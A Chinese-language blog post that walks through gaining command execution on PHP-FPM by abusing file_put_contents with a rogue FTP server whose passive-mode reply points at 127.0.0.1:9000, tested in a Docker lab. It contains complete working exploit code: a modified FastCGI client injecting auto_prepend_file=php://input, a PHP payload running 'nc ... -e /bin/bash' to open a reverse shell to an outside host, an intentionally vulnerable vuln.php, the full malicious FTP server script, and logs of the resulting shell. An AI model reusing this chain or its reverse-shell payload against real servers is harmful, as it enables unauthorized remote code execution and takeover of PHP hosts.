在阅读Laravel debug rce[1]的文章时,感叹文章中的技巧之余,有一句话引起了我的注意。 It is well-known that, if you can send an arbitrary binary packet to the PHP-FPM service, you can execute code on the machine. 众所周知,我不知呀!

本文学习file_put_contents + FTP + php-fpm的命令执行。

原理

参考[2],我们可以得知,PHP-FPM未授权访问时,可以通过修改变量auto_prepend_file或auto_append_file来执行文件。 根据[1]中描述,我们需要让file_put_contents时,将结果写到php-fpm,这样造成命令执行。

实验

php-fpm命令执行

docker起一个php-fpm的环境

docker pull wyveo/nginx-php-fpm
docker run -d wyveo/nginx-php-fpm

利用pyfcgiclient来发送fastcgi数据包

from pyfcgiclient.fpm import FPM

phpfpm = FPM(
    host='127.0.0.1',
    port=9000,
    sock="/run/php/php8.0-fpm.sock",
    document_root='/usr/share/nginx/html'
)

post_string = '<?php echo `id`;phpinfo(); exit();?>'

status_header, headers, output, error_message = phpfpm.load_url(
    url='/index.php?a=b',
    content=post_string,
    remote_addr='127.0.0.1',
    cookies='c=d;e=f;'
)
print(output)

由于有些参数我们没办法直接修改,就直接修改pyfcgiclient里面的文件。在pyfcgiclient的fpm.py的env中增加PHP_VALUE和PHP_ADMIN_VALUE

            'PHP_VALUE': 'auto_prepend_file = php://input',
            'PHP_ADMIN_VALUE': 'allow_url_include = On',

同时修改flup_fcgi_client.py中的_environPrefixes,增加PHP_

    _environPrefixes = ['SERVER_', 'HTTP_', 'REQUEST_', 'REMOTE_', 'PATH_',
                        'CONTENT_', 'DOCUMENT_', 'SCRIPT_','PHP_']

docker exec进入容器,下载对应文件,python执行,成功执行phpinfo。到这里,我们成功对php-fpm发包执行命令了。不过这里使用的是socket文件,不是ip+port的方式。后面我们需要修改配置。

ftp passive mode

ftp passive mode[4]

In the passive mode, the client uses the control connection to send a PASV command to the server and then receives a server IP address and server port number from the server, which the client then uses to open a data connection to the server IP address and server port number received.

我们试一下ftp passive mode。 使用pyftpdlib测试,basic_ftpd.py, 我们设置passive_mode的ip和port,同时在php容器里面nc监听9000端口(为方便演示实验,缺少的bin文件都先准备好,如nc,lsof,xxd等)

    handler.masquerade_address = '127.0.0.1'
    handler.passive_ports = range(9000, 9001)

同时在docker里面开启nc -lvvp 9000,在另一个终端里面执行wget ftp://ftp_server_ip:2121/test,可以看到nc界面显示connect to [127.0.0.1] from localhost [127.0.0.1] 56976,说明确实会去连接ftp指定的ip和port。接下来我们按照文章中的思路来验证。

环境准备

首先我们将php-fpm调整为监听9000端口。备份配置文件之后进行替换 sed -i 's/\/run\/php\/php8.0-fpm.sock/127.0.0.1:9000/g' www.conf 修改ngix配置

/etc/nginx/conf.d# sed -i 's/unix:\/run\/php\/php8.0-fpm.sock/127.0.0.1:9000/g' default.conf

重启php-fpm和nginx

/etc/init.d/php8.0-fpm restart

/etc/init.d/nginx reload

查看端口,发现监听了9000

./lsof -i:9000

php-fpm8. 137 root    8u  IPv4  44589      0t0  TCP localhost:9000 (LISTEN)

利用

验证数据包

抓取payload数据包,为方便演示,复制了nc到docker。前面我们使用nc存数据包,这里我们换另外一种方式,使用wireshark,找到发送到9000端口的数据包,右键Follow->TCP Stream,选择发往9000端口,Raw格式的数据包,保存出来。

from pyfcgiclient.fpm import FPM

phpfpm = FPM(
    host='127.0.0.1',
    port=9000,
    #sock="/run/php/php8.0-fpm.sock",
    document_root='/usr/share/nginx/html'
)

post_string = '<?php system("touch /tmp/hacked");system("nc REDACTED 8888 -e /bin/bash");?>'

status_header, headers, output, error_message = phpfpm.load_url(
    url='/index.php?a=b',
    content=post_string,
    remote_addr='127.0.0.1',
    cookies='c=d;e=f;'
)
print(output)

将数据包发送到127.0.0.1:9000,发现可以成功。

cat phpfpmlog12 | ./nc 127.0.0.1 9000

file_put_contents脚本

漏洞php文件vuln.php

vuln test
<?php 

$url = $_GET["url"];

echo 'reading:' ;
$contents = file_get_contents($url);
echo 'read ok';
var_dump($contents);

echo 'writing:' ;
file_put_contents($url,$contents);
echo 'write ok' ;
?>

// 中间做了很多测试和实验,下面只写成功的结果,略去失败的尝试 现在我们需要做的就是file_get_contents的时候,发送准备好的数据包,file_put_contents请求的时候,pasv到127.0.0.1:9000端口去,造成命令执行。

ftp脚本,在basic_ftpd.py的基础上进行修改。

  • 赋予anonymous读写权限
  • 修改MyPassiveDTP,在第二次file_put_contents请求过来时,PASV命令返回127.0.0.1:9000 227 Entering passive mode (127,0,0,1,35,40)
  • 修改MyHandler,在第二次file_put_contents请求过来时,SIZE返回550 /phpfpmlog12aaabb is not retrievable.
  • 备份之前抓包记录的phpfpmlog
#!/usr/bin/env python

# Copyright (C) 2007 Giampaolo Rodola' <g.rodola@gmail.com>.
# Use of this source code is governed by MIT license that can be
# found in the LICENSE file.

"""A basic FTP server which uses a DummyAuthorizer for managing 'virtual
users', setting a limit for incoming connections and a range of passive
ports.
"""

import os

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler,PassiveDTP
from pyftpdlib.servers import FTPServer

import logging
logging.basicConfig(level=logging.DEBUG)

class MyHandler(FTPHandler):
    fileflag =  False

    def on_connect(self):
        print("%s:%s connected" % (self.remote_ip, self.remote_port))

    def on_incomplete_file_received(self, file):
        # remove partially uploaded files
        import os
        os.remove(file)
    def ftp_SIZE(self, path):
        print(path)
        if not MyHandler.fileflag:
            MyHandler.fileflag = True
        else:
            MyHandler.fileflag = False
            path = path + "aaabb"

        super(MyHandler,self).ftp_SIZE(path)


class MyPassiveDTP(PassiveDTP):
    _flag = 0
    def  __init__(self, cmd_channel, extmode=False):
        #print()
        print(cmd_channel.masquerade_address)
        print(cmd_channel.passive_ports)
        if MyPassiveDTP._flag % 4 ==0 or MyPassiveDTP._flag % 4 == 1:
            MyPassiveDTP._flag = MyPassiveDTP._flag + 1
            print("False Flag")
        else:
            MyPassiveDTP._flag = MyPassiveDTP._flag + 1
            cmd_channel.masquerade_address = '127.0.0.1'
            cmd_channel.passive_ports = range(9000, 9001)
            print(cmd_channel.masquerade_address)
            print(cmd_channel.passive_ports)

        super(MyPassiveDTP,self).__init__(cmd_channel, extmode=False)


def startftpserver():
    # Instantiate a dummy authorizer for managing 'virtual' users
    authorizer = DummyAuthorizer()

    # Define a new user having full r/w permissions and a read-only
    # anonymous user
    authorizer.add_user('user', '12345', os.getcwd(), perm='elradfmwMT')
    authorizer.add_anonymous(os.getcwd(),perm='elradfmwMT')

    # Instantiate FTP handler class
    handler = MyHandler
    #handler = FTPHandler
    passdtp = MyPassiveDTP
    handler.passive_dtp = passdtp

    handler.authorizer = authorizer

    # Define a customized banner (string returned when client connects)
    handler.banner = "pyftpdlib based ftpd ready."

    # Specify a masquerade address and the range of ports to use for
    # passive connections.  Decomment in case you're behind a NAT.
    # handler.masquerade_address = '127.0.0.1'
    # handler.passive_ports = range(9000, 9001)
    handler.passive_ports = range(60000, 65535)

    # Instantiate FTP server class and listen on 0.0.0.0:2121
    address = ('', 2121)
    server = FTPServer(address, handler)


    # set a limit for connections
    server.max_cons = 256
    server.max_cons_per_ip = 5

    # start ftp server
    server.serve_forever()


if __name__ == '__main__':
    startftpserver()

开启nc监听

nc -lvvp 8888

请求http://REDACTED:9099/vuln.php?url=ftp://REDACTED:2121/phpfpmlog12 ftp log

DEBUG:pyftpdlib:REDACTED:47198-[] <- USER anonymous
DEBUG:pyftpdlib:REDACTED:47198-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- PASS ******
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 230 Login successful.
INFO:pyftpdlib:REDACTED:47198-[anonymous] USER 'anonymous' logged in.
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- TYPE I
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- SIZE /phpfpmlog12
/REDACTED/ftptest/phpfpmlog12
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 550 /phpfpmlog12aaabb is not retrievable.
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- EPSV
None
range(60000, 65535)
127.0.0.1
range(9000, 9001)
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 227 Entering passive mode (127,0,0,1,35,40).
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- PASV
DEBUG:pyftpdlib:[debug] call: close() (<__main__.MyPassiveDTP listening REDACTED:9000 at 0x7f1a8e081b50>)
127.0.0.1
range(9000, 9001)
127.0.0.1
range(9000, 9001)
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 227 Entering passive mode (127,0,0,1,35,40).
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- STOR /phpfpmlog12
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 150 File status okay. About to open data connection.
INFO:pyftpdlib:REDACTED:47198-[anonymous] -> 421 Passive data channel timed out.

nc log

➜  ~ nc -lvvp 8888
listening on [any] 8888 ...
REDACTED: inverse host lookup failed: Unknown host
connect to [REDACTED] from (UNKNOWN) [REDACTED] 60728
ls
50x.html
css
images
index.html
index.php
test.php
test_socket.php
vuln.php
vuln2.php
vuln3.php
vuln4.php
vuln5.php
vuln6.php
vuln7.php

成功。 Man, we made it.

总结

file_put_contents结合ftp passive mode,可以往任意ip port发送数据包,结合php-fpm,可以造成命令执行。有点像dns rebinding。是否还有其他的利用方式?

  1. Laravel <= v8.4.2 debug mode: Remote code execution
  2. PHP-FPM 远程命令执行漏洞
  3. PHP-fpm 远程代码执行漏洞(CVE-2019-11043)分析
  4. FTP Connection Modes (Active vs. Passive)
  5. Linux socket文件系统体现“一切皆文件”
  6. PORT FTP command
  7. pyftpdlib
  8. Fastcgi协议分析 PHP-FPM未授权访问漏洞